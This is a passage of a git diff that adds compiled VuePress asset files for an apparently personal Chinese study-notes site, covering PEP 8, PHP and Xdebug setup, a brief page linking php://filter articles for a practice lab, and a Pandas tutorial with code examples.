code"),e(a)])])])])}const z=p(c,[["render",D],["__file","PEP8.html.vue"]]);export{z as default};
diff --git a/assets/PEP8.html-d98b7fa0.js b/assets/PEP8.html-d98b7fa0.js
new file mode 100644
index 0000000000..107ec70334
--- /dev/null
+++ b/assets/PEP8.html-d98b7fa0.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-42b797e7","path":"/Language/Python/PEP8.html","title":"Introduction 介绍","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Indentation 缩进","slug":"indentation-缩进","link":"#indentation-缩进","children":[]},{"level":2,"title":"Tabs or Spaces? 制表符还是空格?","slug":"tabs-or-spaces-制表符还是空格","link":"#tabs-or-spaces-制表符还是空格","children":[]},{"level":2,"title":"Maximum Line Length 行的最大长度","slug":"maximum-line-length-行的最大长度","link":"#maximum-line-length-行的最大长度","children":[]},{"level":2,"title":"Should a line break before or after a binary operator? 在二元运算符之前应该换行吗?","slug":"should-a-line-break-before-or-after-a-binary-operator-在二元运算符之前应该换行吗","link":"#should-a-line-break-before-or-after-a-binary-operator-在二元运算符之前应该换行吗","children":[]},{"level":2,"title":"Blank Lines 空行","slug":"blank-lines-空行","link":"#blank-lines-空行","children":[]},{"level":2,"title":"Source File Encoding 源文件编码","slug":"source-file-encoding-源文件编码","link":"#source-file-encoding-源文件编码","children":[]},{"level":2,"title":"Imports 导入","slug":"imports-导入","link":"#imports-导入","children":[]},{"level":2,"title":"Module level dunder names 模块级的“呆”名","slug":"module-level-dunder-names-模块级的-呆-名","link":"#module-level-dunder-names-模块级的-呆-名","children":[]},{"level":2,"title":"String Quotes 字符串引号","slug":"string-quotes-字符串引号","link":"#string-quotes-字符串引号","children":[]},{"level":2,"title":"Pet Peeves 不能忍受的事情","slug":"pet-peeves-不能忍受的事情","link":"#pet-peeves-不能忍受的事情","children":[]},{"level":2,"title":"Other Recommendations 其他建议","slug":"other-recommendations-其他建议","link":"#other-recommendations-其他建议","children":[]},{"level":2,"title":"Block Comments 块注释","slug":"block-comments-块注释","link":"#block-comments-块注释","children":[]},{"level":2,"title":"Inline Comments 行内注释","slug":"inline-comments-行内注释","link":"#inline-comments-行内注释","children":[]},{"level":2,"title":"Documentation Strings 文档字符串","slug":"documentation-strings-文档字符串","link":"#documentation-strings-文档字符串","children":[]},{"level":2,"title":"Overriding Principle 最重要的原则","slug":"overriding-principle-最重要的原则","link":"#overriding-principle-最重要的原则","children":[]},{"level":2,"title":"Descriptive: Naming Styles 描述:命名风格","slug":"descriptive-naming-styles-描述-命名风格","link":"#descriptive-naming-styles-描述-命名风格","children":[]},{"level":2,"title":"Prescriptive: Naming Conventions 约定俗成:命名约定","slug":"prescriptive-naming-conventions-约定俗成-命名约定","link":"#prescriptive-naming-conventions-约定俗成-命名约定","children":[{"level":3,"title":"Names to Avoid 应避免的名字","slug":"names-to-avoid-应避免的名字","link":"#names-to-avoid-应避免的名字","children":[]},{"level":3,"title":"Package and Module Names 包名和模块名","slug":"package-and-module-names-包名和模块名","link":"#package-and-module-names-包名和模块名","children":[]},{"level":3,"title":"Class Names 类名","slug":"class-names-类名","link":"#class-names-类名","children":[]},{"level":3,"title":"Exception Names 异常名","slug":"exception-names-异常名","link":"#exception-names-异常名","children":[]},{"level":3,"title":"Global Variable Names 全局变量名","slug":"global-variable-names-全局变量名","link":"#global-variable-names-全局变量名","children":[]},{"level":3,"title":"Function Names 函数名","slug":"function-names-函数名","link":"#function-names-函数名","children":[]},{"level":3,"title":"Function and method arguments 函数和方法参数","slug":"function-and-method-arguments-函数和方法参数","link":"#function-and-method-arguments-函数和方法参数","children":[]},{"level":3,"title":"Method Names and Instance Variables 方法名和实例变量","slug":"method-names-and-instance-variables-方法名和实例变量","link":"#method-names-and-instance-variables-方法名和实例变量","children":[]},{"level":3,"title":"Constants 常量","slug":"constants-常量","link":"#constants-常量","children":[]},{"level":3,"title":"Designing for inheritance 继承的设计\\\\","slug":"designing-for-inheritance-继承的设计","link":"#designing-for-inheritance-继承的设计","children":[]}]},{"level":2,"title":"Public and internal interfaces 公共和内部的接口","slug":"public-and-internal-interfaces-公共和内部的接口","link":"#public-and-internal-interfaces-公共和内部的接口","children":[]},{"level":2,"title":"Function Annotations 功能注释","slug":"function-annotations-功能注释","link":"#function-annotations-功能注释","children":[]}],"git":{"createdTime":1667833854000,"updatedTime":1667833854000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":36.43,"words":10930},"filePathRelative":"Language/Python/PEP8.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git "a/assets/PHP\345\255\246\344\271\240.html-212e79e1.js" "b/assets/PHP\345\255\246\344\271\240.html-212e79e1.js"
new file mode 100644
index 0000000000..db6d54b758
--- /dev/null
+++ "b/assets/PHP\345\255\246\344\271\240.html-212e79e1.js"
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-204d1711","path":"/Language/PHP/PHP%E5%AD%A6%E4%B9%A0.html","title":"PHP 学习","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"概述","slug":"概述","link":"#概述","children":[]},{"level":2,"title":"安装与调试","slug":"安装与调试","link":"#安装与调试","children":[{"level":3,"title":"在 VSCode 中调试 PHP","slug":"在-vscode-中调试-php","link":"#在-vscode-中调试-php","children":[]},{"level":3,"title":"在 PHPStorm 中调试 PHP","slug":"在-phpstorm-中调试-php","link":"#在-phpstorm-中调试-php","children":[]},{"level":3,"title":"一些基本指令","slug":"一些基本指令","link":"#一些基本指令","children":[]}]}],"git":{"createdTime":1668494615000,"updatedTime":1675159577000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":3.45,"words":1036},"filePathRelative":"Language/PHP/PHP学习.md","localizedDate":"2022年11月15日","excerpt":""}');export{e as data};
diff --git "a/assets/PHP\345\255\246\344\271\240.html-2bca9f4a.js" "b/assets/PHP\345\255\246\344\271\240.html-2bca9f4a.js"
new file mode 100644
index 0000000000..7d1bcf8222
--- /dev/null
+++ "b/assets/PHP\345\255\246\344\271\240.html-2bca9f4a.js"
@@ -0,0 +1,17 @@
+import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as s,o as u,c as d,b as e,e as n,d as l,w as t,f as o}from"./app-880c6425.js";const h={},_=o(' PHP 学习 概述 ',4),m={href:"https://www.w3school.com.cn/php/index.asp",target:"_blank",rel:"noopener noreferrer"},g=e("br",null,null,-1),b={href:"https://www.w3school.com.cn/php/php_ref.asp",target:"_blank",rel:"noopener noreferrer"},k=e("br",null,null,-1),P={href:"https://www.w3school.com.cn/php/php_quiz.asp",target:"_blank",rel:"noopener noreferrer"},v=e("p",null,"PHP 是一种创建动态交互性站点的强有力的服务器端脚本语言",-1),x=e("hr",null,null,-1),f=e("h2",{id:"安装与调试",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#安装与调试","aria-hidden":"true"},"#"),n(" 安装与调试")],-1),E={href:"https://cloud.tencent.com/developer/article/1990743",target:"_blank",rel:"noopener noreferrer"},w=e("hr",null,null,-1),A=e("hr",null,null,-1),B=e("h3",{id:"下载-xampp",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#下载-xampp","aria-hidden":"true"},"#"),n(" 下载 XAMPP")],-1),H=e("p",null,"XAMPP 是一个把 Apache网页服务器与 PHP, Perl 及 MariaDB 合在一起的安装包, 允许用户在自己的电脑上轻易的创建网页服务器",-1),y=e("p",null,"XAMPP 的名称来自以下组合",-1),C=e("ul",null,[e("li",null,"X(支持跨平台)"),e("li",null,"Apache"),e("li",null,"MySQL 或 MariaDB"),e("li",null,"PHP"),e("li",null,"Perl")],-1),q=e("p",null,"Perl 是一种 CGI 脚本语言",-1),D=e("p",null,"CGI 目前由 NCSA 维护,NCSA 定义 CGI 如下:",-1),X=e("p",null,"CGI(Common Gateway Interface),通用网关接口,它是一段程序,运行在服务器上如:HTTP服务器,提供同客户端 HTML 页面的接口。",-1),I=e("hr",null,null,-1),S=e("p",null,"为了更好的了解 CGI 是如何工作的,我们可以从在网页上点击一个链接或 URL 的流程:",-1),M=e("ul",null,[e("li",null,"1、使用你的浏览器访问 URL 并连接到 HTTP web 服务器。"),e("li",null,"2、Web 服务器接收到请求信息后会解析 URL,并查找访问的文件在服务器上是否存在,如果存在返回文件的内容,否则返回错误信息。"),e("li",null,"3、浏览器从服务器上接收信息,并显示接收的文件或者错误信息。")],-1),j=e("p",null,"CGI 程序可以是 Python 脚本,PERL 脚本,SHELL 脚本,C 或者 C++ 程序等。",-1),F=e("hr",null,null,-1),G=e("p",null,"CGI 架构图:",-1),L=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202210210941771.png",alt:"cgiarch"})],-1),T=e("hr",null,null,-1),V={href:"https://www.w3cschool.cn/python3/python3-cgi-programming.html",target:"_blank",rel:"noopener noreferrer"},z=e("hr",null,null,-1),N=e("p",null,"XAMPP是一个易于安装的Apache发行版,其中包含MariaDB、PHP和Perl。仅仅需要下载并启动安装程序。",-1),U={href:"https://www.apachefriends.org/zh_cn/download.html",target:"_blank",rel:"noopener noreferrer"},R=e("hr",null,null,-1),W=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202210210946224.png",alt:"image-20221021094326815"})],-1),$=e("p",null,"写 PHP 的话可以选择开启 Apache",-1),Q=e("hr",null,null,-1),J=e("h4",{id:"配置环境变量",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#配置环境变量","aria-hidden":"true"},"#"),n(" 配置环境变量")],-1),K=e("p",null,[n("将 XAMPP 安装目录下的 php 目录添加到 "),e("code",null,"环境变量-系统变量-Path"),n(" 中然后在命令行中输入 "),e("code",null,"php -v"),n(" 就可以看到版本号了")],-1),O=e("blockquote",null,[e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202210210953864.png",alt:"image-20221021095308959"})])],-1),Y=e("hr",null,null,-1),Z=e("h3",{id:"下载-xdebug-插件",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#下载-xdebug-插件","aria-hidden":"true"},"#"),n(" 下载 xdebug 插件")],-1),ee={href:"https://juejin.cn/post/7045941450248306719",target:"_blank",rel:"noopener noreferrer"},ne=e("hr",null,null,-1),le=e("p",null,"Xdebug是PHP的扩展,用于协助调试和开发。",-1),ae=e("ul",null,[e("li",null,"它包含一个用于IDE的调试器"),e("li",null,[n("它升级了PHP的"),e("code",null,"var_dump()"),n("函数")]),e("li",null,"它为通知,警告,错误和异常添加了堆栈跟踪"),e("li",null,"它具有记录每个函数调用和磁盘变量赋值的功能"),e("li",null,"它包含一个分析器"),e("li",null,"它提供了与PHPUnit一起使用的代码覆盖功能。")],-1),se=e("p",null,"但不推荐在生产环境中使用xdebug,因为他太重了。",-1),te=e("hr",null,null,-1),oe={href:"https://xdebug.org/download",target:"_blank",rel:"noopener noreferrer"},ie={href:"https://www.jetbrains.com/help/phpstorm/2022.2/configuring-xdebug.html#c54f0dec",target:"_blank",rel:"noopener noreferrer"},ce=e("hr",null,null,-1),pe=e("code",null,"php -i",-1),re={href:"https://xdebug.org/wizard",target:"_blank",rel:"noopener noreferrer"},ue=e("code",null,"xampp/php/ext",-1),de=e("code",null,"php_xebug.dll",-1),he=e("blockquote",null,[e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202210211119490.png",alt:"image-20221021111954317"})])],-1),_e=e("p",null,[n("将其放到 "),e("code",null,"xampp/php/ext"),n(" 目录下并修改 "),e("code",null,"xampp/php/php.ini"),n(" , 在末尾添加 "),e("code",null,"xedebug"),n(" 相关配置, 其中 "),e("code",null,"zend_extension"),n(" 为 "),e("code",null,"xedebug"),n(" 文件路径")],-1),me=e("p",null,[e("code",null,"Xedebug3"),n(" 配置如下:")],-1),ge=e("div",{class:"language-ini line-numbers-mode","data-ext":"ini"},[e("pre",{class:"language-ini"},[e("code",null,[e("span",{class:"token section"},[e("span",{class:"token punctuation"},"["),e("span",{class:"token section-name selector"},"xdebug"),e("span",{class:"token punctuation"},"]")]),n(`
+`),e("span",{class:"token key attr-name"},"zend_extension"),e("span",{class:"token punctuation"},"="),e("span",{class:"token value attr-value"},[n('"'),e("span",{class:"token inner-value"},""),n('"')]),n(`
+`),e("span",{class:"token key attr-name"},"xdebug.mode"),e("span",{class:"token punctuation"},"="),e("span",{class:"token value attr-value"},"debug"),n(`
+`),e("span",{class:"token key attr-name"},"xdebug.client_host"),e("span",{class:"token punctuation"},"="),e("span",{class:"token value attr-value"},"127.0.0.1"),n(`
+`),e("span",{class:"token key attr-name"},"xdebug.client_port"),e("span",{class:"token punctuation"},"="),e("span",{class:"token value attr-value"},[n('"'),e("span",{class:"token inner-value"},""),n('"')]),n(`
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),be=e("blockquote",null,[e("div",{class:"language-ini line-numbers-mode","data-ext":"ini"},[e("pre",{class:"language-ini"},[e("code",null,[e("span",{class:"token section"},[e("span",{class:"token punctuation"},"["),e("span",{class:"token section-name selector"},"xdebug"),e("span",{class:"token punctuation"},"]")]),n(`
+`),e("span",{class:"token key attr-name"},"zend_extension"),e("span",{class:"token punctuation"},"="),e("span",{class:"token value attr-value"},"xdebug"),n(`
+`),e("span",{class:"token key attr-name"},"xdebug.mode"),e("span",{class:"token punctuation"},"="),e("span",{class:"token value attr-value"},"debug"),n(`
+`),e("span",{class:"token key attr-name"},"xdebug.client_host"),e("span",{class:"token punctuation"},"="),e("span",{class:"token value attr-value"},"127.0.0.1"),n(`
+`),e("span",{class:"token key attr-name"},"xdebug.client_port"),e("span",{class:"token punctuation"},"="),e("span",{class:"token value attr-value"},[n('"'),e("span",{class:"token inner-value"},"9003"),n('"')]),n(`
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])]),e("p",null,[n("xdebug dll 命名为 "),e("code",null,"php_xdebug.dll"),n(" 后这里的 "),e("code",null,"zend_extension"),n(" 就可以写 xebug, 否则写 dll 的完整路径")])],-1),ke=e("hr",null,null,-1),Pe=o(` 在 VSCode 中调试 PHP 安装 PHP Debug
扩展
修改 VSCode 的 settings.json
, 修改如下配置
"php.debug.executablePath" : "D:/Software/Programming/PHP/XAMPP/php/php.exe" ,
+
打开一个文件目录创建并编辑 test.php
文件
<?php
+$a = 'hello world' ;
+echo $a ;
+?>
+
F5
执行
也可以使用
在 PHPStorm 中调试 PHP 和上文中一样打开一个文件目录创建一个 test.php
文件
编辑配置项
填入 php.exe
以及 php.ini
的路径即可
调试 php 文件
一些基本指令 查看 PHP 版本
`,24);function ve(xe,fe){const a=s("ExternalLinkIcon"),i=s("Tabs");return u(),d("div",null,[_,e("blockquote",null,[e("p",null,[e("a",m,[n("PHP 教程 (w3school.com.cn)"),l(a)]),g,e("a",b,[n("PHP 参考手册"),l(a)]),k,e("a",P,[n("PHP 测验"),l(a)])])]),v,x,f,l(i,{id:"72",data:[{id:"Windows"}],active:0},{title0:t(({value:c,isActive:p})=>[n("Windows")]),tab0:t(({value:c,isActive:p})=>[e("blockquote",null,[e("p",null,[n("[如何在VSCode配置PHP开发环境(详细版)"),e("a",E,[n("通俗易懂] - 腾讯云开发者社区-腾讯云 (tencent.com)"),l(a)])]),w]),A,B,H,y,C,e("blockquote",null,[q,D,X,I,S,M,j,F,G,L,T,e("blockquote",null,[e("p",null,[e("a",V,[n("Python3 CGI 编程_w3cschool"),l(a)])])]),z]),N,e("blockquote",null,[e("p",null,[e("a",U,[n("Download XAMPP (apachefriends.org)"),l(a)])]),R]),W,$,Q,J,K,O,Y,Z,e("blockquote",null,[e("p",null,[e("a",ee,[n("XDEBUG 从入门到精通 - 掘金 (juejin.cn)"),l(a)])]),ne]),le,ae,se,te,e("blockquote",null,[e("p",null,[n("[xedebug 下载地址]("),e("a",oe,[n("Xdebug: Downloads"),l(a)]),n(")")]),e("p",null,[n("["),e("a",ie,[n("Configure Xdebug | PhpStorm (jetbrains.com)"),l(a)]),n("](https://xdebug.org/download)")]),ce]),e("p",null,[n("在命令行输入 "),pe,n(" 并把输出粘贴到 "),e("a",re,[n("Xdebug: Support — Tailored Installation Instructions"),l(a)]),n(" 便可以看到需要下载哪个版本的 xedebug 下载完后将该 dll 文件拷贝到 "),ue,n(" 目录下并重命名为 "),de]),he,_e,me,ge,be,ke]),_:1}),Pe])}const Ae=r(h,[["render",ve],["__file","PHP学习.html.vue"]]);export{Ae as default};
diff --git "a/assets/PHP\345\256\211\345\205\250.html-58ce6225.js" "b/assets/PHP\345\256\211\345\205\250.html-58ce6225.js"
new file mode 100644
index 0000000000..ea6cb51cfc
--- /dev/null
+++ "b/assets/PHP\345\256\211\345\205\250.html-58ce6225.js"
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-3db8ae39","path":"/Language/PHP/PHP%E5%AE%89%E5%85%A8.html","title":"PHP 安全","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"php:filter","slug":"php-filter","link":"#php-filter","children":[]}],"git":{"createdTime":1668751254000,"updatedTime":1675159577000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2}]},"readingTime":{"minutes":1.26,"words":378},"filePathRelative":"Language/PHP/PHP安全.md","localizedDate":"2022年11月18日","excerpt":""}');export{e as data};
diff --git "a/assets/PHP\345\256\211\345\205\250.html-adc308eb.js" "b/assets/PHP\345\256\211\345\205\250.html-adc308eb.js"
new file mode 100644
index 0000000000..f2e206224c
--- /dev/null
+++ "b/assets/PHP\345\256\211\345\205\250.html-adc308eb.js"
@@ -0,0 +1 @@
+import{_ as a}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as s,c as d,b as e,e as r,d as n,f as l}from"./app-880c6425.js";const c={},i=l(' PHP 安全 php:filter ',3),p={href:"https://johnfrod.top/%E5%AE%89%E5%85%A8/php-filter%E7%9A%84%E5%A6%99%E7%94%A8/",target:"_blank",rel:"noopener noreferrer"},h={href:"https://www.anquanke.com/post/id/202510",target:"_blank",rel:"noopener noreferrer"},f={href:"https://www.leavesongs.com/PENETRATION/php-filter-magic.html",target:"_blank",rel:"noopener noreferrer"},_={href:"https://www.xiaozzz.xyz/2019/09/21/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE%E6%80%BB%E7%BB%93/",target:"_blank",rel:"noopener noreferrer"},u=e("hr",null,null,-1),g=l('例如 pikachu 靶场中的 ssrf -> file_get_content
题目中可以使用 php:filter
将网页源码 base64 编码读取出来, 然后再解码查看
',3);function x(m,E){const t=o("ExternalLinkIcon");return s(),d("div",null,[i,e("blockquote",null,[e("p",null,[e("a",p,[r("php://filter的妙用 – JohnFrod's Blog"),n(t)])]),e("p",null,[e("a",h,[r("探索php://filter在实战当中的奇技淫巧-安全客 - 安全资讯平台 (anquanke.com)"),n(t)])]),e("p",null,[e("a",f,[r("谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)"),n(t)])]),e("p",null,[e("a",_,[r("PHP伪协议总结 | xiaoZ's Blog (xiaozzz.xyz)"),n(t)])]),u]),g])}const y=a(c,[["render",x],["__file","PHP安全.html.vue"]]);export{y as default};
diff --git a/assets/Pandas.html-840cd824.js b/assets/Pandas.html-840cd824.js
new file mode 100644
index 0000000000..f177f72eea
--- /dev/null
+++ b/assets/Pandas.html-840cd824.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-50dfc8d6","path":"/Language/Python/libs/Pandas/Pandas.html","title":"目录","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Pandas数据分析","slug":"pandas数据分析","link":"#pandas数据分析","children":[]},{"level":2,"title":"pandas数据结构","slug":"pandas数据结构","link":"#pandas数据结构","children":[{"level":3,"title":"Series","slug":"series","link":"#series","children":[]},{"level":3,"title":"DataFrame","slug":"dataframe","link":"#dataframe","children":[]}]},{"level":2,"title":"数据的导入与导出","slug":"数据的导入与导出","link":"#数据的导入与导出","children":[{"level":3,"title":"数据的导入参数","slug":"数据的导入参数","link":"#数据的导入参数","children":[]},{"level":3,"title":"数据的导出参数","slug":"数据的导出参数","link":"#数据的导出参数","children":[]}]}],"git":{"createdTime":1694760760000,"updatedTime":1694760890000,"contributors":[{"name":"233Official","email":"ayusummr233@gmail.com","commits":2}]},"readingTime":{"minutes":5.91,"words":1772},"filePathRelative":"Language/Python/libs/Pandas/Pandas.md","localizedDate":"2023年9月15日","excerpt":""}');export{e as data};
diff --git a/assets/Pandas.html-8ace6829.js b/assets/Pandas.html-8ace6829.js
new file mode 100644
index 0000000000..626855228f
--- /dev/null
+++ b/assets/Pandas.html-8ace6829.js
@@ -0,0 +1,198 @@
+import{_ as n}from"./plugin-vue_export-helper-c27b6911.js";import{o as s,c as a,f as e}from"./app-880c6425.js";const i={},t=e(` 目录 Pandas Pandas数据分析 pandas的名称来自于panel data(面板数据)和data analysis(数据分析)。 是基于扩展库numpy和matplotlib的数据分析模块,是一个开源项目。 Pandas提供了大量标准数据模型和高效操作大型数据集所需要的函数和方法,是使得Python能够成为高效且强大的数据分析工具的重要因素之一。 pandas数据结构 Pandas常用的数据结构有: 1)Series,带标签的一维数组; 2)DatetimeIndex,时间序列; 3)DataFrame,带标签且大小可变的二维表格结构; 4)Panel,带标签且大小可变的三维数组。 Series pandas提供的类似于一维数组的字典结构的对象, 如果在创建时没有明确指定索引则会自动使用从0开始的非负整数作为索引。 Series对象a = pd.Series([23, 54, 32, 65, 87, 54])
+# print(a)
+0 23
+1 54
+2 32
+3 65
+4 87
+5 54
+dtype: int64
+
通常默认索引从0开始 自定义索引b = pd.Series([23, 54, 32, 65, 87, 54],
+ index=[chr(i + ord('A')) for i in range(6)])
+# 输出b
+A 23
+B 54
+C 32
+D 65
+E 87
+F 54
+dtype: int64
+
常用创建方法 from pandas import Series
+import numpy as np
+
+
+s1 = Series( [ 1 , 2 , 3 , 4 ] )
+
+s2 = Series( range ( 3 ) )
+
+s3 = Series( np. array( [ 1 , 2 , 3 , 4 ] ) )
+s4 = Series( np. arange( 6 , 10 ) )
+
+s5 = Series( { '语文' : 90 , '数学' : 87 } )
+
+s6 = Series( [ 12 , 3 , 4 ] , index= [ 'A' , 'B' , 'C' ] )
+s7 = Series( [ 12.3 , 34.5 , 3.6 , ] , [ 'I' , 'II' , 'III' ] )
+print ( "s1 = Series([1, 2, 3, 4]):\\n{0}\\n"
+ "s2 = Series(range(3)):\\n{1}\\n"
+ "s3 = Series(np.array([1, 2, 3, 4])):\\n{2}\\n"
+ "s4 = Series(np.arange(6, 10)):\\n{3}\\n"
+ . format ( s1, s2, s3, s4) )
+print ( r"s5 = Series({'语文': 90, '数学': 87}):" )
+print ( s5)
+print ( "s6 = Series([12, 3, 4], index=['A', 'B', 'C']):\\n{0}"
+ "s7 = Series([12.3, 34.5, 3.6, ], ['I', 'II', 'III']):\\n{0}"
+ . format ( s6, s7) )
+
+
+
+s1 = Series( [ 1 , 2 , 3 , 4 ] ) :
+0 1
+1 2
+2 3
+3 4
+dtype: int64
+s2 = Series( range ( 3 ) ) :
+0 0
+1 1
+2 2
+dtype: int64
+s3 = Series( np. array( [ 1 , 2 , 3 , 4 ] ) ) :
+0 1
+1 2
+2 3
+3 4
+dtype: int32
+s4 = Series( np. arange( 6 , 10 ) ) :
+0 6
+1 7
+2 8
+3 9
+dtype: int32
+
+s5 = Series( { '语文' : 90 , '数学' : 87 } ) :
+语文 90
+数学 87
+dtype: int64
+s6 = Series( [ 12 , 3 , 4 ] , index= [ 'A' , 'B' , 'C' ] ) :
+A 12
+B 3
+C 4
+dtype: int64s7 = Series( [ 12.3 , 34.5 , 3.6 , ] , [ 'I' , 'II' , 'III' ] ) :
+A 12
+B 3
+C 4
+dtype: int64
+
常用运算 from pandas import Series
+
+s1 = Series(range(4))
+s2 = Series({'语文': 90, '数学': 87, '英语': 67, '程序设计': 78})
+s3 = Series({'语文': 20, '数学': 80, '英语': 67, '程序设计': 78, 'w': 23})
+print("s1:\\n{0}\\ns2:\\n{1}\\ns3:\\n{2}".format(s1, s2, s3))
+s1:
+0 0
+1 1
+2 2
+3 3
+dtype: int64
+s2:
+语文 90
+数学 87
+英语 67
+程序设计 78
+dtype: int64
+s3:
+语文 20
+数学 80
+英语 67
+程序设计 78
+w 23
+dtype: int64
+
同索引等长的Series可进行算术运算print("s2 - s3:\\n{0}\\ns2 + s3:\\n{1}\\ns2 * s3:\\n{2}\\ns2 / s3:\\n{3}".format(s2 - s3, s2 + s3, s2 * s3, s2 / s3))
+
不同索引运算其相对应的值控制为NaNprint ( "s1+s2:\\n{0}" . format ( s1 + s2) )
+
Series对象与标量进行算术运算print ( "s3*2:\\n{0}\\ns3**0.5:\\n{1}" . format ( s3 * 2 , s3 ** 0.5 ) )
+
Series对象的关系运算print ( "\\ns2[s2 >= 80]:\\n{0}" . format ( s2[ s2 >= 80 ] ) )
+
计算Series对象的中值print("\\ns3.median():\\n{0}".format(s3.median()))
+
计算s2中最小的1个值print('\\ns2.nsmallest(1):\\n', s2.nsmallest(1))
+
计算s2中最大的1个值print ( 's2.nlargest(1):\\n' , s2. nlargest( 1 ) )
+
values的访问与修改 from pandas import Series
+
+s1 = Series(range(1, 11))
+s2 = Series({'语文': 90, '数学': 87, '英语': 67, '程序设计': 78})
+
通过索引,切片访问Series的valueprint ( "s1[4] : {0}\\ns2['英语'] : {1}" . format ( s1[ 4 ] , s2[ '英语' ] ) )
+print ( "s1[1:4]:\\n{0}\\n"
+ "s2[1:3]:\\n{1}" . format ( s1[ 1 : 4 ] , s2[ 1 : 3 ] ) )
+
通过索引修改Series的value,注意字典的键为索引s2[ '程序设计' ] = 89
+print ( "s2:\\n{0}" . format ( s2) )
+
DataFrame 数据的导入与导出 pandas可以将读取到的数据转成DataFrame类型的数据结构,通过操作DataFrame进行数据分析,数据预处理以及行和列的操作等。也可以将数据写入文件。 read_csv to_csv
+read_excel to_excel
+read_json to_json
+read_sql to_sql
+read_pickle to_pickle
+read_html to_html
+... ... ... ...
+
数据的导入参数 student.csv
姓名 , 数学 , 程序设计 , 英语
+张一 , 56 , 94 , 45
+王宏 , 76 , 77 , 90
+李玉 , 45 , 87 , 77
+吴苛左 , 87 , 55 , 89
+季晶 , 45 , 95 , 75
+五一 , 83 , 77 , 93
+李言 , 87 , 45 , 99
+于旧 , 92 , 75 , 34
+王工 , 97 , 67 , 56
+才一 , 56 , 73 , 78
+于旧 , 92 , 75 , 34
+
import pandas as pd
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student.csv'))
+stu = pd.read_csv(file_path,
+ sep=',', # 指定分隔符
+ delimiter=',', # 分隔符
+ encoding='utf-8',
+ header=[0], # 指定行数用来作为列名,默认第一行为列名
+ index_col=0, # 指定列编号或者列名为索引
+ skiprows=None, # 需要忽略的行数(从文件开始处算起)
+ )
+print(stu)
+
+# 运行结果
+ 数学 程序设计 英语
+姓名
+张一 56 94 45
+王宏 76 77 90
+李玉 45 87 77
+吴苛左 87 55 89
+季晶 45 95 75
+五一 83 77 93
+李言 87 45 99
+于旧 92 75 34
+王工 97 67 56
+才一 56 73 78
+于旧 92 75 34
+
导入xlsx
最新版的xlrd不支持xlsx 先卸载: 然后用版本号装一个低版本的pip install -i https://pypi.tuna.tsinghua.edu.cn/simple xlrd==1.2.0
+
数据的导出参数 import pandas as pd
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student.csv'))
+file_path_save = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student1.csv'))
+
+stu = pd.read_csv(file_path,
+ sep=',', # 指定分隔符
+ delimiter=',', # 分隔符
+ encoding='utf-8',
+ header=[0], # 指定行数用来作为列名,默认第一行为列名
+ index_col=0, # 指定列编号或者列名为索引
+ skiprows=None, # 需要忽略的行数(从文件开始处算起)
+ )
+print(stu)
+stu.to_csv(file_path_save,
+ sep=',', # 指定分隔符
+ encoding='utf-8',
+ header=False, # 表示是否写入数据中的列名,默认为False
+ index=0, # 表示是否将行索引写入文件,默认为True
+ )
+print(stu)
+
+
`,44),p=[t];function l(c,u){return s(),a("div",null,p)}const d=n(i,[["render",l],["__file","Pandas.html.vue"]]);export{d as default};
diff --git a/assets/Pillow.html-8c03f8a2.js b/assets/Pillow.html-8c03f8a2.js
new file mode 100644
index 0000000000..11e44adb44
--- /dev/null
+++ b/assets/Pillow.html-8c03f8a2.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-cb6bbc54","path":"/Language/Python/libs/Pillow/Pillow.html","title":"目录","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Image","slug":"image","link":"#image","children":[{"level":3,"title":"convert(mode)","slug":"convert-mode","link":"#convert-mode","children":[]},{"level":3,"title":"new(mode, size, color=0)","slug":"new-mode-size-color-0","link":"#new-mode-size-color-0","children":[]}]},{"level":2,"title":"ImageDraw","slug":"imagedraw","link":"#imagedraw","children":[]}],"git":{"createdTime":1694760760000,"updatedTime":1694760760000,"contributors":[{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":1.05,"words":315},"filePathRelative":"Language/Python/libs/Pillow/Pillow.md","localizedDate":"2023年9月15日","excerpt":""}');export{e as data};
diff --git a/assets/Pillow.html-b3eca097.js b/assets/Pillow.html-b3eca097.js
new file mode 100644
index 0000000000..16622692ca
--- /dev/null
+++ b/assets/Pillow.html-b3eca097.js
@@ -0,0 +1,9 @@
